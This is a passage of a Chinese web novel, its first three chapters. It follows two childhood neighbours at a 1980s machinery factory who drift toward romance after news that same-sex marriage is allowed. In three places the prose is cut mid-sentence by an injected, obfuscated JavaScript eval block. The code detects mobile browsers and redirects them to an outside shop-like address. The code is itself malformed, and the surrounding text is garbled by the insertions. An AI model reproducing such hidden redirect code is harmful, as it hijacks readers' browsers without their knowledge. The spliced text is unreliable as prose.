《向青梅告白后[八零]》 1. 同事而已1 郑小芳一手端着盆,一手把水龙头拧大,哗哗的冷水流出来,这才算驱散了一点躁意。今年夏天入伏早,这才早晨七点,就热了她一身汗,做个饭跟从水里捞出来一样,好不容易出来洗个黄瓜,赶紧凉快凉快。 “小芳!”龚艳梅和王贵芬一人拿着个盆,三步并两步冲到水池前,“你看着昨天播那个新闻了没?” 院里的水池狭小,王贵芬没能挤到前面来,郑小芳把她的西红柿全倒腾到自己盆里洗起来:“那能没看着?真吓我一跳呢!” “咱大院这相亲市场我看要全乱套了!”龚艳梅平日里嗓门大,这会儿压低点声音,“我家那不省心的女儿,到现在没寻着好夫家呢,难道叫我往家里再娶一个?” 郑小芳听了就笑:“龚大妈你还真别说,这招挺高妙,我觉得不错!” 后边的王贵芬年轻的时候性格就单纯,这会儿问道:“可是要是俩女的俩男的能结婚了,怎么生出孩子来啊?” “可别提生孩子了!”龚艳梅立马说,“还说生孩子呢,现在管得这严,不生孩子才好呢!” “反正国家政策咱们支持就完事了。”郑小芳道,她今天心情特好,忍不住地就要多说两句,美滋滋的,“不过说不说的,这事一出来,我还真是有了点不一样的想法。” “你有什么好想法?”王贵芬问道。 郑小芳得了老姐妹捧场,一点不藏着掖着:“我们隔壁小池竹是个多好的小姑娘啊,就是命苦,现在一个人拉扯着一个妹妹,这样的怎么敢嫁人呢!可要和女人结婚就不同了,咱哪个女人不是重情重义的,小池竹又这么年轻,长得又秀气,还有技术,脾气也好……” 王贵芬听她天南海北地夸了一通,还没抓住重点呢:“嗯,然后呢?” 龚艳梅倒是琢磨出来了点意思,一面淘着自己盆里的胡萝卜,一面拿两只眼睛觑着郑小芳。 果然,郑小芳喜不自胜:“我觉得,小池竹跟我家白露,那是真配啊!” “哎,你个王大妈,”龚艳梅早料到了,当即大呼小叫道,“你说你配合她干嘛呀!” “妈!”郑白露撩了帘子,在门口喊了一句,“你洗个黄瓜,怎么跟掉水池子里似的?” 她个子高挑,身材苗条,站在门边,真和一株美丽的小花树似的。她又爱时髦,乌黑的长发烫了点卷,下巴尖俏,一张小脸上最招人的地方,就是那双水汪汪的杏核眼,顾盼间,好似能传情一样。 “这就回来了!”郑小芳喊了一声,急匆匆地把西红柿放回王贵芬的盆里,跟俩老姐妹一摆手,先回自己家去了。 “我倒是也觉得那俩小姑娘挺般配。”王贵芬说,“小时候总一起玩,那话叫什么来着,也是有感情基础。” “配管什么用啊?”龚艳梅拣了两根胡萝卜甩水,语气有点感慨,“她家那小白露长得好看,心气恁高,能看得上人家竹子才是有鬼咯!” 郑小芳进屋,把两根黄瓜切成均匀的小块,准备细细地码进两只铝饭盒里,饭盒里已经盛满了白米饭,上面铺着一层香喷喷的排骨,还有一道西红柿炒鸡蛋,要是再加上黄瓜,那是有红有绿,有菜有肉,漂亮营养得不得了。 “中午记得给小池竹送过去一份。”郑小芳叮嘱道,“你可千万别忘了!” “这么大个饭盒我哪能忘?”郑白露道,马上就到月底发工资的日子,她这两天一上班就要踩糊底机做工资袋,难免觉得这件事有些麻烦。屋内风扇嗡嗡地转着,一天比一天更热,搅得她心烦意乱。 她一边答应着,一边出屋门走到院里那棵柿子树下,略侧了一点头,往耳朵上戴一对珍珠耳坠,那是今年过年,姐姐从美国回来的时候给她带的。 - 池竹把饭盒塞到池橙的书包里,又给她整了整戴得乱七八糟的红领巾,“姐,”池橙乖乖立着让她摆弄,“那我将来是不是就没有姐夫了?” “这话什么意思?”池竹问道,“什么姐夫不姐夫的?” “昨晚的新闻你明明和我一起看的呀。”池橙道,“所有人都在说这件事呢,姐姐,说两个女的,两个男的也可以结婚登记了,那将来是不是我就有嫂子了?” 池竹揉揉她毛茸茸的小脑袋,很浅地抿出一丝笑来:“没有姐夫,也没有嫂子,怎么,姐一个人陪你还不够啊?” “那不是。”池橙赶紧表忠心,“我有姐姐一个人就够啦,可姐姐不能只有我一个人吧!” 她很小大人的,装作老成地叹了一口气:“姐,你现在还不懂呢!我同学吴瑛你知道不,她姐姐就谈恋爱了,每天可高兴了,我也想让你那么高兴。” “我不谈恋爱也高兴。”池竹不想再和她讨论这个话题,把书包从沙发上拎起来让她背上,“走,姐姐送你去上学。” “我明天自己上学就行啦!”池橙说,她知道姐姐是特地想要骑自行车送她上学的,想让她多睡一会儿懒觉。 她一手捏着自己的书包带,一手拉着池竹的手,一边嘴里嚼着水煮蛋,一边还不忘说话:“姐姐,要是让我选的话,我还是想要个嫂子,又漂亮,又温柔。” 池竹道:“行啦橙子,梦里啥都有……” 她话音未落,也不知道是被池橙打断的,还是自己怔了一下。 大杂院里没有单独的院子,每户人家隔着的就是一道半人高的矮墙。郑白露就在矮墙那面戴耳坠,她的头微侧着,半边浓密的鬈发遮住了小半张粉白的脸孔,池竹呆了一呆,默默地呼吸了两次,这才打了一声招呼:“白露,早上好。” 郑白露终于把那只耳坠给戴好了,冲她点了点头。 白露不笑的时候,那张漂亮的脸就显得有点冷。池竹知道她不是那种随随便便对人笑的性格,可心中还是情不自禁地掠过了一丝失落。 “姐,”池橙拉了拉她的手,“你觉得白露姐能做我嫂子吗?” “不能。”池竹不假思索,立即打断了妹妹不切实际的幻想时刻。 池橙念的是工厂子弟小学,距离她上班不远。她送池橙蹬得快,十五分钟就到了。等到放下妹妹,自己去上班,她这才把车速放缓了。 昨晚那条新闻她当然看见了,她和池橙一起,吃晚饭的时候看到的,晚上池橙就想和她讨论,被她撵着好好学习天天向上,写作业去了。 真震撼的大消息,但池竹没觉得如何高兴。只在看到的那一瞬间,她难以控制地生出了一些期待,白露甜丝丝的笑容在她脑海里一闪而过,旋即被她沉沉地压回到了内心的最深处。 不要再胡思乱想了。池竹开始在心里慢条斯理地对自己说,遇到很难受,很烦恼的事情时,她就会像一个旁观者,或是局外人一样,冷静地开始对自己说话,分析现在的一切。 之前妈妈爸爸出差的时候出了意外,她就是这样做的,没有原因,她自然而然地开始这样做,将思想抽离了那个无限痛苦的身体,终于顺顺当当地和妹妹一起走到了现在。 不论有没有这个政策,白露都和你不合适。她想了想,还是更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705302|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换了一个更严厉的措辞,白露都不会喜欢你的。 池竹的心一颤,奋力地蹬起自行车来。 鸣城第一机械厂早上人头攒动,池竹一进大门,碰到的每个人都在谈那桩大新闻。她拎着工具包往车间去,中途经过会计办公室,她习惯性地望了一眼,收回目光,步伐一点不变,继续平稳地往前走。 刚要进车间,蒋其华笑嘻嘻地叫住她:“师姐,白露姐让你去她办公室一趟呢!” 蒋其华和她同个师傅,是她的师妹,一个扎着马尾辫的活泼姑娘,声音清清亮亮的,嗓门一开,旁边就有人探进头笑道:“白露怎么每天都给你带中午饭啊?咱也都想尝尝郑大妈的手艺!” 往常也有人说这样的话,毕竟没人放在心上,都知道是郑小芳照顾她,可昨天那事一出,大家再一调笑,好像真有点变了味一样。 “大妈是关心我,你们要这样讲可不对了。”池竹立刻要阻止这种没谱的话,她长得秀美文雅,技术好,办事认真,笑起来还有枚小虎牙,大家都爱和她亲近,所以她的话也相应地毫无威慑力。 “那怎么不关心别人,就关心你呢?”有人说,讲完自知失言,忙略过去,“搞不好郑大妈这就是看上你了,要让你给白露做女婿呢!” 厂子里的年轻工人大多都是二十来岁,最受欢迎的就是婚恋话题,昨晚那件事一石激起千层浪,大家好容易逮着个能开玩笑的八卦对象,一个个的不上工都在这儿上起了劲。 池竹难得地有些惊慌失措,倒不是因为工友在这儿把她团团围住,而是因为心里头乱极了。尴尬,令人恐慌的、不该有的高兴,还有一种……深刻的疲倦。 她每天单是工作就已经够累的了,任何其他事情,都让她从心底里有种难以应对。 坏了。池竹想,她想从人群中挤出去,还没挪出两步,就听见有个人问:“说我妈看上谁了?谁要给我做女婿呢?” 每年厂子里大家都要无聊地选出一些女子男子做厂花厂草,其他的人选倒是年年变动,可自从郑白露大专毕业,到厂里做会计之后,每年的花必得落到她头上一朵。 她脸长得漂亮倒在其次,个子高,打扮时髦,又不是那种见谁都笑的,这种有点傲的距离感才让人觉得是真美。 方才大家大开池竹玩笑,这会儿见正主来了,纷纷作鸟兽散。 池竹望着她连身裙裙摆绣着的金桂,脸颊隐隐发烫,一句话也讲不出,想要垂下睫毛,又觉得还是看着她的眼睛比较礼貌。 幸好郑白露只是蹙了蹙眉,应该也没太生气。她看了一眼池竹,和往常一样,穿着一件无袖背心和长裤,瘦得真和一杆竹子似的,右手拎着个工具包,左臂搭着件蓝色的工服。 “本来想让你去我办公室把饭盒拿了的。”郑白露说,“你也没手拿,我帮你放到锅炉房算了。” 池竹仍然看着她,很浓的长睫毛微微闪动,对她说:“谢谢。” 这人是种淡淡的秀气,唯有这双眼睛是浓墨重彩,乌黑的眼仁,浓浓的睫毛,看人的时候也仿佛浓墨重彩的。 郑白露对大家的玩笑话向来不在意,这会儿却隐隐地有点小脾气,到底有什么好谢的!咱俩那么不熟啊?从小到大的邻居,从小学到高中都是一个班的同学,我妈把你当作亲女儿看待,你跟我那么认生,到底是打算干什么! 那些人还起哄呢,别说她不喜欢池竹了,人家喜不喜欢她还两说呢! 麻烦。郑白露想,语气平淡:“客气什么呢?” 2. 同事而已2 “小竹,”侯春霞在门口喊了一声,“早点吃饭去吧!” “好,师傅。”池竹应道,她把机油放到一边,“我先去找刘主任一趟,要改造半自动机床急不了一时,我们也想干,但编程控制器实在是大部分人都还摸不着门道。” “去吧去吧。”侯春霞叹了口气,“去一趟也好,让他给厂长吹吹风,要么进一批那什么数控机床,要么赶紧把技师送出去学习,光咱使劲有啥用啊,人家领导不急显得咱瞎着急。” 她一摆手:“你赶紧吧,我先吃饭去了。” 池竹快步出了门,主任的方向和食堂的方向恰好是反的,她心中想着事情,眼睛微垂,只顾着往前,绣着金桂的裙摆在她视线里一晃而过,郑白露从她身边走了过去。 一股略带柑橘和苦味的花香打过来,池竹一怔,下意识地往旁边退了一步。她不知道郑白露身上是什么香水,这样好闻,只觉得自己刚从车间出来,应该是不太干净。 郑白露哪怕没看见人也知道是她,机油和肥皂混合的味道,不算好闻,可说实话,她不讨厌。倒是池竹退一步这种动作害得她蹙眉瞥了一眼,这个池竹跟自己划清什么界限,避什么嫌呢? 池竹太瘦了。她这一眼看过去,看她肩膀上的骨头透过薄薄的皮肤,都戳出了一个锋利的小尖。她皮肤白皙,那块沾在大臂上的机油落在青色的血管间,就显得格外显眼。 两人对视一眼,池竹就望着她笑了一下。 池竹的颊边有一个很小的,不太标准的梨涡,和那枚小虎牙相得益彰。 郑白露心里面那股从今早遇到池竹就开始升腾起来的气莫名其妙地消了,“快去吃饭吧。”她说了一句,还没走出两步,扭头问道,“我帮你把饭盒取了?” 池竹刚要摇头,郑白露就故意道:“好,那我帮你把饭盒取了。” 算做一个小小的报复好了。郑白露微微一笑,这下气总算彻底顺了。让你再划清界限呢?让你再装不熟呢? 她不是那种小气的人,也理解池竹的不易,可她们是那么多年的好朋友了,总该是不同的吧? 结果还是疏远了,她大专三年回来,又进了同一家厂子,池竹还是一点想捡起这份友谊的心都没有,那自己更没必要去贴这种冷屁股! 池竹可不知道她的心思,一颗心光是见到她,就自行的在工作的间隙松快、喜悦了一瞬。 感情这事情由不得人,念高中的时候那么累,白露借她根笔她都能高兴半天,更别提刚才白露说要帮她取饭盒了。 去主任办公室的路这样短,她还没走到门口呢,心里头的喜悦就渐渐地冷了下去。她强迫自己不再去多想,敲了敲门,听到主任说话,这才进去。 刘主任戴个黑眼镜,头上生着一片地中海,比厂长还爱打些官腔,说话左绕右绕的永远讲不到重点。池竹和他说话已有经验,开门见山:“主任,改造半自动机床的事情一时之间做不来,技工里头没几个明白编程控制器的。” “哎呀小竹啊,”刘连山说话前必要发出一感叹词,“啊,这个时间紧,任务重,咱们呢……” “主任,”池竹赶紧打断,“我和其他人商量了一下,想要么让技工出去学习,要么劝劝厂长请个专家,一步到位,进一批自动的数控机床进来,让大家直接在厂里学习。” “哎呀,你要让我劝厂长……”刘连山刚起了个范,池竹后退两步:“主任那我就先吃饭去了。”她眼疾手快地关上门,留下刘连山一个人悠然咕哝道:“敌军围困千万重,我自岿然不动,午饭我看看,嗯,夫人给做的小葱拌豆腐。” 食堂摆满了四四方方的木桌,工友们要么在食堂买饭,要么自带,提前搁在锅炉房,有专人挨个地放到大蒸汽箱里加热,中午一过来,全都热气腾腾,香气四溢。 郑白露把池竹的饭盒放到自己旁边,和她一个办公室的何静敏坐她对面,看见她旁边那个饭盒就笑道:“小竹的?” “是。”郑白露夹了一块黄瓜,“她怎么还没来?” “肯定是机床那个事吧。”何静敏说,“厂长之前下的命令,要改造什么半自动化的机床,我听家里人说,人家外面有的大厂子,可都有什么全自动化的了,咱们这儿也忒落后。” 见郑白露抿着嘴唇,她随口问道:“你一点也不知道这事啊?小竹这几天下班都晚了,有时候还会先回去给橙子做饭。” “怪不得我见她这些天这么忙。”郑白露含糊地应道,她确实完全不知道这事,甚至都不知道池竹回来晚了,不过她有些微妙地不愿承认,便装作自己知道的样子。 “哪比得上你这大忙人。”何静敏道,她喝了一口搪瓷杯里的炖汤,“我可听说了,马时兴三番五次地邀你去电影院看《少林寺》,结果全被你无情拒绝。” 郑白露听到这话,有点厌烦地笑了:“无情拒绝都算好的啦,我真怕我愤怒地拒绝!” 别人怎么说她的,郑白露一清二楚,说她心气高,说她傲,哪怕说她小资说她不切实际不会过日子,她都认。唯有一点,说她只看得上有钱的,那她不愿意! 光有钱顶什么用,没有一点生活情趣,长得蠢笨,她郑白露宁可单着,也不会委屈了自己! “姐姐,”郑白露玩笑道,“别说我了,该关心关心您啦!” 何静敏比她大七岁,自从她进厂里的财务科就一直尽心尽力地带她,这么好的女人,这么温柔的性格,居然迄今尚未结婚,家里全都急疯了。 “我要向深圳特区的人看齐。”何静敏也笑,眉目里微微带了一点惆怅,“听说那儿经济起来了,女人都忙事业,谁也不结婚。更何况现在政策出了,更不用着急。” 郑白露在这点上很有同感,不愿意相亲结婚有什么错?遇不到投缘的便不结了呗! “我开玩笑呢。”她说,“这种事委屈自己就是委屈一辈子,咱们自己明白就成,不用和那些冥顽不灵的人解释。” 她一边说,一边怕饭菜有点凉了,随手捂住了池竹的饭盒。 池竹一进食堂就看到了那桌,原因无他,郑白露太扎眼了。 她走过来,这才看到白露一只白皙的手搭在她饭盒上,修剪整齐的指甲透出一股杏粉色,见她过来,这才很从容地把手收了回去,“怎么这么慢,你饭都凉了。” “没事。”池竹拿起饭盒,自然是比不得刚热好的烫饭,不过也还是热乎乎的。她用手捏紧,不切实际地仿佛感到了刚才白露掌心的温度。 池竹最恨这样的瞬间,有时候她想是不是自己总成日想着与白露没可能,反而起了逆反心理?但要是反其道而行之,那绝对的是更加无法收拾。 要能彻底地断绝希望也好,或许哪天白露谈了个对象,她就能够放下了,可仔细想想,在放下之前,二十岁的池竹明白,她可能得先伤心好久好久了。 “那我先过去了。”池竹话音刚落,郑白露就道:“过哪去?就在这儿吃吧。” 何静敏也赞同道:“小竹别忙了,在食堂吃吧。” 池竹想不出什么合情合理的理由推辞,就坐到了郑白露旁边,她吃得很小心,不想在别人,当然,尤其是白露面前不雅观。 “你今晚有什么事吗?”何静敏问,“高姐她们说准备去吃烧烤,大家一块去吧,聚上一聚。” “刚好得出去一趟。”郑白露道,她得去参加班上的同学会,不过话在嘴边,想也不想便咽了下去,“下次吧,下次咱们去三姐家的烧烤,她那儿烤的牛羊肉最好吃。” 池竹默默地听着,她知道白露今晚的那件事是同学会,也知道白露没说出口的原因。 高三的时候她家里出了意外,厂子里外派她家长出差,在高速路上被一辆大车追尾了。这件事是鸣城十年来的最大事故,上了中央新闻。她因此辍学,厂长特批让她接了家长的待遇,入厂学习。 池竹现在想到这件事,也不过是这样总结性的寥寥几句罢了。她很平静,痛苦已经像一条滔滔大河一样从她体内流走了,只剩下一些震颤的,永远无法消失的余韵。 她知道郑白露是不想让她难过,但很多时候,她不想要别人这样的小心。 “池竹,今天下班你帮我把饭盒带回去吧?”郑白露说,“我先不回家了,你直接带给我妈。” 池竹一口答应,她来得晚,还没吃完,郑白露和何静敏已经站起身来,打算回办公室了。 池竹向她俩点了点头,依然是很静默地夹起一块排骨,刚打算吃,郑白露忽然转过头来,对她微微笑了:“晚上早点下班吧,明天周末呢。” 这人总把自己的日子那么辛苦怎么行呢?还总是说不要给她带饭,都瘦得皮包骨头了,不带饭怎么成? 池竹一怔,还没来得及答话,郑白露就和何静敏说笑着回去了。 郑白露从小时候就是这样,说是最有主见,也不尽然,不如说是有点小小的爱炫耀,做出自己认为很对的事情的时候,往往就不爱听别人回答。 池竹边想,边忍不住抿出一丝笑容。她本来想帮郑白露把饭盒也洗了的,可是里面还剩下小半盒饭菜,她就还是原样把盖子扣好,天气热怕变质,还特地把饭盒放到了食堂里那台美菱冰箱里。 要说厂长是完全的抠门,倒也不是,冰箱这种必备品打个报告该买就还是买,只能说她是太谨慎了。进一批数控机床可算得上一笔款子,往后如何大家也都还在观望,不过让技师出去学习应该是有戏的。 池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705303|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹现在最担心的是,刘主任多一事不如少一事,把压力全压到技工头上,他倒是方便了,改造半自动机床的任务是真等不下去了。 实在不行,还是得去见厂长一趟。池竹心里盘算着。 以前技工制度还没变更的时候,她妈妈和爸爸在厂里就都是八级工,她耳濡目染,学习了许多知识,进厂之后,又由侯春霞带着,很快成了中级技工,再过两年就要预备着考高级技工去。 她年轻技术好,为人又善良、热心肠,很多事情自然而然地让很多工友推出她做了代表。侯春霞乐见这种情况的发生,不过时不时地也叹气。 她不会把一些真实原因告诉池竹,即便这个徒弟似乎早就有所察觉了。这里不少工人算蒙过池家人的恩惠,是看在她家人的面子上不假,但在很多事情上,更希望的是池竹借着自己家人的面子去压厂委会。 有些工人老油条了,看池竹工作努力,乐得把她往前推,反正觉得她年轻没主见,最后还是得受自己这些老人的摆布。 工人代表的虚名是个好东西。所以侯春霞才不声不响,只在暗地里默默照拂着自己这个学徒。 池竹暂时也没什么办法,索性不再想。她是很想听从郑白露的话,今天早些下班的。只是这段时间实在太忙,改造的事情也没个定论,明天又是周六,收尾还得一会儿。 她从工服口袋里拿出一粒冰凉的薄荷糖含到嘴里,这种丝光薄荷糖最凉,一下叫人醒了神。余下的工作没有一个小时做不完,她索性先回家,路过菜场的时候买了两条鱼,又买了点小白菜,打算今晚给池橙做清蒸鱼和醋溜白菜吃。 等到做好饭,她把饭盒先给郑小芳送回去,做好鱼又送了一条过去,郑小芳一见可不行了:“你这孩子,送什么鱼啊,今天白露不在家,我哪吃得了!” “您一直让白露给我带中饭,真是都不知道该怎么谢谢——”池竹没说完,郑小芳那边一听见谢谢俩字又过敏了:“说这!咱都多少年邻居了,小池竹你往后可不准跟大妈说谢谢了!” “那这鱼我就收下了。”看池竹态度坚决,她端过盛鱼的盘子,不过再次重申,“下次可不许送东西了,平日里家里有点修表换灯的事我都找你,但你要这么客气,往后大妈可不请你帮忙了!” 池竹虽然过意不去,但这样的关心让她心里直发烫,就笑着使劲点了点头。 池橙正是长身体的时候,一点不挑食,和她一样吃得很快。她一边让池橙细嚼慢咽,一边自己匆忙吃过饭,先得骑车赶回厂子里去。 再回来的时候,天沉沉的黑透了,她刚进门,橙子跑到院子里嚷道:“姐姐,家里的灯泡坏了,刚才一下全黑了!” 今天热得异乎寻常,池竹感觉热汗顺着鼻梁往下淌,八点钟,大杂院正是最热闹的时候,她停好车子,朝屋门过去:“外面的灯烧了吗?我看看。” “对了姐。”池橙又说,“老师今天和我说,体谅咱们家里的情况,说往后不让我自己带中饭了,学校要替我定盒饭。” 池竹不大喜欢受人恩惠,一是大家过得都不容易,二是事情都已经发生了,日子还是要自己过,她有决心,也有能力自己带着妹妹过下去。 但是学校的好心,没有拒绝的理由。她看着橙子殷切的眼神,点了点头。 池橙最怕她辛苦,见她点头,马上松了口气,撒娇道:“姐姐,我今天校服裤子破了。” 她攥住池竹的手,方才吃饭的时候没顾得上,她这会儿一个劲地和姐姐分享:“我和吴瑛玩呢,结果没注意,一下蹭到了树上!姐姐你知道吧,就我们学校里那棵大树,特别粗!树皮也特糙,一下给我裤子挂坏一道口子!” 池竹强行把事情理出个先后来:“小卖部没有灯泡,姐先去里屋帮你缝,好不好?我明天等起床就去买灯泡。” 她不大会做手工活,只会一些简单的缝缝补补。不会不行,衣服破了道口,掉了只纽扣,这种不值当的去找别人帮忙,必须得自己动手。 做铣工要专注,针线活也用眼,她眼前一阵发花,稍闭了闭,又睁开,她得这会儿就尽快缝完,夏天换衣服勤,是绝对不能拖的。 天太热了,热得她心烦意乱,手里妈妈留下的计算机笔记像一团团黑云一样。小字闪闪烁烁地飘来飘去。 说不好看不清还是看不懂,池竹头一阵阵地发晕,纵使风扇在头顶上不停地转,伸手一抹,额头上仍然全是湿漉漉的热汗。 桌上明黄色的座钟报了一声时,池竹猛地醒过神来,已经十点了。 她拿了牙刷和毛巾出去,正刷牙的时候,郑小芳打帘子出了屋门,刚要焦急地左右张望,见到她就匆匆忙忙地跑过来:“你见着白露了吗,她咋还没回家呢?” 3. 同事而已3 “她出门的时候多,可从来这时候都已经到家了!”郑小芳着急忙慌,“池竹你替大妈看着点家,我得找找去!” 池竹脑袋嗡的一声,赶紧把牙膏泡沫吐掉,想也不想就说:“我去,我知道饭店位置。” 班长也给她发了邀请,就在淮昌路的锦春饭店。 她顾不上肩膀上还搭着毛巾,刚要跑着去骑车子,猛地想起一件事,现在都十点钟了,她走了,橙子会不会害怕? 虽然里头还有灯,可大屋的灯泡坏了,那么黑,又十点钟了,橙子该怎么办? 她脑子里乱哄哄的,不知道是往自行车还是往家门的方向走,停了几秒,反应过来似的,走到郑小芳面前:“大妈,我这就去,我家灯泡坏了,特别黑,你去照顾橙子一会儿吧?” “我这就去!”郑小芳一点不耽搁,“你可得注意安全!” 池竹理智上知道白露不可能有什么事情的,可她这会儿头晕目眩,一点可能性都令她很怕,根本不知道自己怎么赶到的锦春饭店。 她一向爱惜自己的车子,这会儿却连支住都没时间,直接扔下就跑上了台阶。 “办同学会的那桌走了吗?”池竹劈头就问,前台被她吓了一跳:“办同学会的?”她慢悠悠地要翻册子,池竹就催促道:“打电话来约的那个人应该姓钱,钱先生。” 前台翻到那一页,答道:“哦,那早走了,九点钟的时候就走了。” “所有人都走了?”池竹又问,热汗一股股地从她额头上淌下来,杀到眼睛里一片刺痛。“有一个女孩,长得很高很美的,穿一条米白色连身裙,裙子上绣了桂花,她走了没?” “这话问的,”前台说,“当然全走了,你说的那个女孩我有印象呢,穿的不是白色裙子,不过也走了。” 池竹听完,转头就冲了出去,前台嘀咕道:“小姑娘咋一点礼貌没有,谢谢都不讲!” 得报警。池竹心里风一阵雨一阵的,她将自行车扶起来,迷迷糊糊地骑了一大段路去派出所,这才想起到了人家也不会受理的。失踪是十二小时还是二十四小时来着?总之人家肯定不会帮着找才一个小时没回家的人。 白露能去哪呢?即使是同学会结束再和人出去,也一定会打电话来和家里说一声的。 池竹一边蹬着车子,一边绞尽脑汁地想着任何的可能性。倘若是就这样回家告诉郑小芳在饭店没找到白露,郑大妈该多焦心啊! 白露能去哪呢?电影院和录像厅这种地方,这么晚了,白露不会去。何姐说的烧烤?她猜应该是康恒路那片,白露说的三姐烧烤也在那儿。 那里五六个饭店连成一片,一到夏天,外面摆满了桌椅,烟熏火燎,厂子里的人都戏称那里是小伦敦。 池竹有了主心骨似的,把三魂七魄抓回来几缕,奋力地蹬起自行车来。等到了地方,她把车子一扔,进桌椅堆里去找。 吃烧烤的人多得像汪洋大海,池竹一桌桌地游过去,越找越是失望,别说白露了,就连何静敏她也没看见,应该早吃完回家了。 白露能去哪呢?池竹一刻也不停,又骑上自行车,哪怕她自己都不知道去哪找,她也觉得不能停下来。 池竹一直觉得,自己是很了解白露的。她们从小一起长大,小时候她们在一起玩,那时候白露可淘气,总是要爬院里的柿子树,她就自告奋勇在下面看着,池竹想自己那时候最勇敢的时刻,就是预备着在郑白露掉下来的时候英勇地接住她。 不过郑白露从来没有掉下来过,她也终于也有了一些常识,知道自己那脆弱的两条胳膊是接不住一个人的重量的。 她和郑白露都越长越大,不知道怎么,她竟然有了那份心思,喜欢上了自己的好朋友。一切如果如常发展,她还会和白露做朋友,直到高考之后分开。 可天翻地覆的事情发生了,像是老天顺带阻止了她的非分之想,就这样理所应当,顺理成章地,她们的关系疏远了,再也回不到以前了。 快四年过去了,她还把很多事情记得清清楚楚,郑白露最爱吃的菜是京酱肉丝和凉拌腐竹,郑白露最喜欢的动物是小猫,尤其是那只叫火烧的狸花猫,郑白露从小喂到大,连名字都是亲自给取的。 郑白露不喜欢吃苦,喜欢打扮得体体面面,喜欢亮晶晶的首饰,有一点小小的收集癖和强迫症,会把硬币叠成高高的一摞,发夹和皮圈整整齐齐地码放到铁盒里。 喜欢读爱情小说,看电影,郑白露很有些浪漫主义。开心的时候,她喜欢出去逛街,买各种各样的糖块吃,难过的时候—— 池竹霎时间一醒,心中一片雪亮,她怎么把那儿给忘了! 鸣城的小满山算不得什么景区,除了本地人有时候踏青之外,大多数都去山脚下的小满山公园玩。 池竹把车子靠树停下,步伐匆匆,没走特意铺设出来的台阶,而是捡了一条小路。 这里有些地方景色一般,人迹罕至,拖了很久也没有被开发。比如后山那棵巨大的元宝枫,郑白露想事情的时候,总爱坐在这棵遮天蔽日的大树下。 池竹遥遥地在暗夜里看到一个淡黄色的身影,她心重重地一跳,刚要走过去,郑白露马上听到了脚踩泥土发出的声音,很警惕地抬起头来:“是谁?” 那声音带着很浓重的鼻音和哭腔,池竹愣了一下,随即答道:“白露,是我,你怎么还没有回家呢?” 听到池竹的声音,郑白露立刻将头又埋了下去。她没看时间,不过想也想得到,一定是自己耽搁了,妈妈心急,池竹这才出来找自己。 可她这副样子,实在不想让别人看见,就故意任性地说:“你来干什么?你不要过来。” 她这样说话很不对,但她没别的方法了,郑白露眼前一片模糊,泪水止不住地往下淌。 池竹真就依言停在了她面前三步的距离,语气微微发抖:“白露,这是怎么了?发生什么事情了?” 郑白露不敢抬头,只敢悄悄地放出目光,明亮的月亮下,池竹神情紧绷地望着她,清秀的脸孔上一片湿漉漉的热汗,将半长的黑发也浸的濡湿。无袖背心也全湿透了,肩膀上甚至还搭着一条毛巾。 郑白露想象得出她是在多匆忙的情况下出门来找自己的,一时之间,那些被强压着的情绪又翻涌上来,她哽咽道:“池竹……” 池竹心里发颤,听她说话,这才又往前走了两步,蹲了下来。郑白露坐在一块小石头上,她仰脸望着白露,声音也颤颤的:“白露,这是怎么了?有什么我能帮得上忙的吗?” 她的脸上全是汗,郑白露的脸上全是泪:“我今天去参加同学会……” 话说到这儿,郑白露忽然不知道该怎么说了。要怎么说?当初班里追求过自己的男同学去深圳赚了点钱回来便沾沾自喜,以为自己错过他是自己的最大错误? 还是说那人多喝了点酒,就开始讽刺自己是假清高,现如今年纪越来越大,还不如早点收手,再找不到个如意郎君,将来只能越嫁越往下了! 同学会比起联络感情,被这样的势利人一带,立即变成了一个攀比的场合。郑白露倒不会至于因为他这番充满恶意的话妄自菲薄,只是—— “池竹,”郑白露抽泣着说,“我可能,真没我想象当中的那么好。” “你说什么呢?”池竹仰着脸望她,虽然面颊上一片潮热的红,呼吸也很急促,但黑白分明的眼睛很清澈,像两颗清凌凌的玻璃珠子一样,“白露,我不知道发生了什么,但你就是最好的啊,谁要是说你不好,那一定是胡说八道。” “你别安慰我。”郑白露说,“咱们鸣城多小啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705304|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深圳,申城那样的才是真正的大城市。在那儿什么样的人没有?归根结底,我也是没见过什么世面罢了。” 她有句话没说出口,我要是真那么好,你为什么不愿意和我继续做朋友了呢? “谷雨姐可是去了美国,你要是没见过世面,那我不知道谁见过了。”池竹诚恳地说,“白露,你别瞎想了,大家都觉得你好,会计工作做得好,人也好。” “真要有这么好的话,为什么没有真正的好人喜欢我?”郑白露说,“池竹,是不是你们都知道,追求我的那些人,其实全是驴粪蛋子外面光的货色。” 